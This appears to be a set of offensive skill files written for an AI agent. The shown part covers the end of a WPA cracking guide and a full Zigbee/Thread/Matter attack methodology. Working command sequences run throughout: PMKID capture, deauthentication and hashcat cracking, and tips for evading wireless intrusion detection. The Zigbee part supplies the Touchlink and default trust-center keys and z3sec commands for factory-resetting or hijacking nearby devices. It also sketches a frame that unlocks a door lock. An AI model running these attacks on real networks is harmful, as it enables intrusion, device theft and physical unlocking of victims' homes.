Detection Considerations
| Signal | Defender View |
|---|---|
| Deauth burst | WIDS rule: >N deauth/sec with malformed reason codes |
| PMKID flood (hcxdumptool default sends many association requests) | WIDS rule: rapid associations from a single MAC |
| Monitor-mode interface | Some enterprise WIDS deployments fingerprint adjacent monitor radios |
To minimize: PMKID with --filtermode=2 (only target your authorized list), single targeted deauth bursts, randomize source MAC between captures.
Engagement Cheatsheet
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# 2. PMKID sweep first
echo "AA:BB:CC:DD:EE:FF" > targets.txt
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 --filterlist_ap=targets.txt --filtermode=2
# 3. Convert + try crack
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule
# 4. If empty PMKID, do four-way capture
sudo airodump-ng -c <ch> --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon &
sudo aireplay-ng --deauth 3 -a AA:BB:CC:DD:EE:FF -c <client> wlan0mon
# 5. Convert + crack
hcxpcapngtool -o hash.hc22000 cap-01.cap
hashcat -m 22000 hash.hc22000 wordlist.txt -r OneRuleToRuleThemAll.rule
# 6. Mask attacks if dictionary fails
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
Key References
- hashcat docs (mode 22000): hashcat.net/wiki/doku.php?id=cracking_wpawpa2
- hcxtools: github.com/ZerBea/hcxtools
- ZerBea PMKID research (original 2018 disclosure)
- 802.11i-2004 (WPA2 spec)
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Skills/wireless/offensive-zigbee-thread-matter/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-zigbee-thread-matter -g -y
SKILL.md
Frontmatter
{
"name": "offensive-zigbee-thread-matter",
"description": "Zigbee, Thread, and Matter mesh-protocol attack methodology — IEEE 802.15.4 sniffing with TI CC2531 \/ CC2540 \/ Sonoff Zigbee Dongle E, KillerBee toolkit, Touchlink commissioning abuse with the well-known transport key, replay\/injection attacks, Zigbee Cluster Library command abuse for door locks and bulbs, Thread network credential theft, Matter commissioning chain analysis, and 6LoWPAN\/IPv6 routing exploitation. Use when targeting smart-home or commercial mesh deployments, Zigbee-based door locks, lighting, or sensor networks."
}
Zigbee / Thread / Matter Attacks
802.15.4-based mesh protocols underpin most "smart home" devices. Zigbee is widely deployed and has well-known crypto-key-reuse issues; Thread (modern, IPv6-based) ships with stronger defaults; Matter unifies their commissioning model with stronger crypto but still has implementation pitfalls.
Quick Workflow
- Sniff target frequency (channels 11–26 in 2.4 GHz)
- Identify network coordinator and joining devices
- For Zigbee: try Touchlink commissioning with the well-known key
- Capture join-key exchange when devices commission
- Replay or inject ZCL/ZHA cluster commands
Hardware
| Adapter | Use |
|---|---|
| TI CC2531 USB stick | Cheap, works with Zigbee2MQTT, KillerBee |
| TI CC2540 / CC2652 | Zigbee + Thread + BLE |
| Sonoff Zigbee Dongle E (CC2652P) | Modern, well-supported |
| ApiMote (KillerBee dev) | Multi-channel, scapy-dot15d4 |
| HackRF + appropriate firmware | Lower-level RF flexibility |
Discovery + Sniffing
# KillerBee suite
zbstumbler -i 0 # find Zigbee networks
zbid # ID coordinators
zbdump -c 11 -w zigbee.pcap # dump channel 11 to pcap
# scapy-dot15d4 for crafted frames
python3
>>> from scapy.contrib.dot15d4 import *
>>> sniff(iface='/dev/ttyACM0', count=50)
In Wireshark with the dot15d4 + zbee_nwk dissectors, you'll see frame counters, network keys (if joined), and ZCL commands.
Touchlink Commissioning Abuse
Touchlink (used by Zigbee 3.0 commissioning, especially in lighting) uses a well-known transport key:
0x9F559A553B7A6B2C5C4FBB4E84956F3D
Many consumer Zigbee bulbs / strips accept Touchlink commissioning from any nearby radio with this key — joining them to your network or stealing them from theirs.
# z3sec — Zigbee 3 commissioning attack toolkit
git clone https://github.com/IoTsec/Z3sec
python z3sec_inter_pan.py --command "factory_reset_request" --device <addr>
python z3sec_inter_pan.py --command "join_network" --network <PANID>
Outcomes:
- Factory-reset victim devices remotely (DoS / mass disrupt)
- Steal lights / sensors into attacker network
- Read network keys after joining device-to-network
Network Key Capture During Joins
# Capture coordinator + joining device exchange
zbdump -c <ch> -w join.pcap
# Decrypt if you obtain the trust center link key
# Older Zigbee 1.x networks used a default trust center link key:
# ZigBeeAlliance09
# Modern networks use device-specific install codes
Once you have the network key, all traffic on that mesh is decrypted in Wireshark.
ZCL / ZHA Cluster Command Abuse
Zigbee Cluster Library defines on/off/level/lock clusters. With network key, you can issue commands as any device:
# scapy-dot15d4 frame to unlock a door lock
from scapy.contrib.dot15d4 import *
from scapy.contrib.zigbee import *
frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...)
sendp(frame, iface='/dev/ttyACM0')
The same primitive opens locks, toggles switches, dims lights, or floods the network with control traffic.
Thread Specifics
Thread (used by Apple HomePod, Nest, Eero) uses 802.15.4 with IPv6 (6LoWPAN) and stronger commissioning crypto.
- Network credential is a commissioner-distributed PSKc
- Devices join with the commissioner present
- Mesh commissioning protocol is over UDP/CoAP
Attack surface:
- PSKc theft from commissioner devices (mobile app companion, Apple Home, Nest app)
- Reusing a leaked credential to join target network
- 6LoWPAN routing attacks (rank manipulation, sinkhole)
Matter Commissioning
Matter unifies Zigbee/Thread/Wi-Fi device onboarding under one commissioning model:
- QR code or manual setup code grants commissioning permission
- Bluetooth LE used for initial commissioning
- Subsequent communication over Wi-Fi or Thread
Attack surface:
- Setup-code reuse / replay if commissioning window not closed
- BLE-MITM during initial commissioning (see
offensive-bluetooth-ble) - Fabric-attestation flaws in early implementations
Detection
- Coordinator may log unexpected device joins
- Hub apps surface "new device" notifications — commonly ignored by users
- Wireshark/Sonoff captures from defenders are rare — most environments don't monitor 802.15.4
Engagement Cheatsheet
# 1. Identify networks + channels
zbstumbler -i 0
# 2. Sniff target channel
zbdump -c <ch> -w cap.pcap
# Open in Wireshark with dot15d4/zigbee dissectors
# 3. Touchlink attack on consumer Zigbee 3.0 lighting
python z3sec_inter_pan.py --command "factory_reset_request" --target <addr>
# 4. Steal device into attacker network
python z3sec_inter_pan.py --command "join_network" --target <addr>
# 5. With network key, issue ZCL commands directly
# (custom scapy-dot15d4 + zbee_nwk frames)
# 6. For Thread: focus on commissioner / PSKc theft from companion apps
Key References
- KillerBee: github.com/riverloopsec/killerbee
- Z3sec: github.com/IoTsec/Z3sec
- "Zigbee Insecurity" research (CON Black Hat talks)
- Thread spec: threadgroup.org/support
- Matter / CSA spec: csa-iot.org/all-solutions/matter
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md


